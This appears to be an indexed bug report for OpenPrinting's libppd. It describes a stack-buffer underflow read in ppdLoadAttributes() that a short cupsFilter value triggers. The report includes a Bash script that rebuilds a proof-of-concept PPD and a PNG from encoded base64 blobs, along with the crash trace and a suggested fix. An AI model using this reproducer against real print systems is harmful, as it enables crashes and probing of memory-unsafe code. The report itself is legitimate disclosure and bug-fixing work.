OpenPrinting / OpenPrinting/libppd
libppd: a short cupsFilter value reads before a stack buffer
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 5
- Forks
- 29
- PR merge metrics
- No merged PRs in 30d
Description
Summary
ppdLoadAttributes() checks whether each configured filter name ends in
texttotext by subtracting ten from the string length without first requiring
at least ten bytes. A valid 14-line PPD containing
*cupsFilter: "a 0 x" causes a stack-buffer-underflow read.
Validated libppd source:
- tested build:
522af8dd135f4dde66b1aac8b9d067808bbe122d - current upstream HEAD:
fc41539f761286396a7df8aeeda762070192e37e
ppd/ppd-ipp.c is byte-identical at both revisions.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/printer.ppd, SHA-256
5787338b61768a8acbd6b765355123b9e8ef6b3dafde23ffe19b8c2873c8d5d4,
is accepted by ppdOpenFile(). Run ./reproduce.sh; the 85-byte PNG only
provides a normal document to the standalone filter pipeline.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: libppd: a short cupsFilter value reads before a stack buffer
# Finding ID: libppd-short-cupsfilter-stack-underflow
# Trigger: ppdLoadAttributes() checks whether each configured filter name ends
# in texttotext by subtracting ten from the string length without first
# requiring at least ten bytes. A valid 14-line PPD containing *cupsFilter: "a
# 0 x" causes a stack-buffer-underflow read.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (370 bytes)
write_file printer.ppd 5787338b61768a8acbd6b765355123b9e8ef6b3dafde23ffe19b8c2873c8d5d4 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA3WQzarCMBCF932K0JUWLKm6cideBcGfQtGFuzGNMdx2UtIELj79nagYF7r9zpkz
Mycry5/RvDZnOWPpNJ+kSbYytgV3lLbXBiPVjYysyDmxDaDyoCJfomp0f43KEoWpNaoZW1f7DTiN
RZJtAf0FhPNWWsradxJLq5FERaFbU8tmB204qJctEBfs4m831gWTtOSprsa6nRa/n3ykf5PeIspF
+OhpWh1Op5yaCNya2gtHcPBxdBg8VWxiMOEFH7JQh/Bd/xLGOX8QWuPufwLj7C9N/gHzE5NAcgEA
AA==
POC_PAYLOAD_1
Result
The ASan build aborts on a read before local buf[1024] in
ppdLoadAttributes() at ppd-ipp.c:528. The complete route is:
imagetops -> ppdFilterCUPSWrapper -> ppdFilterLoadPPD
-> ppdLoadAttributes -> strcmp
The uninstrumented filter exits 0 and writes a 1,303-byte PostScript result.
The read is bounded to the ten-byte suffix comparison. No stack value is
returned to the caller, and no dependent write has been demonstrated. The
current security effect is therefore sanitizer-visible memory unsafety in
malformed queue configuration, with low upgrade potential.
Cause and expected behavior
The code evaluates
strcmp(buf + strlen(buf) - 10, "texttotext") for every filter string.
Lengths below ten move the comparison pointer before buf.
The suffix check should first require strlen(buf) >= 10; filter values that
do not meet the expected grammar should be rejected or ignored.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start in ppd/ppd-ipp.c at ppdLoadAttributes(), around line 528, and inspect the suffix comparison described in the issue. Build with AddressSanitizer and run ./reproduce.sh against poc/printer.ppd; done means the short cupsFilter value no longer produces an out-of-bounds read while the existing filter pipeline still completes.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 78/100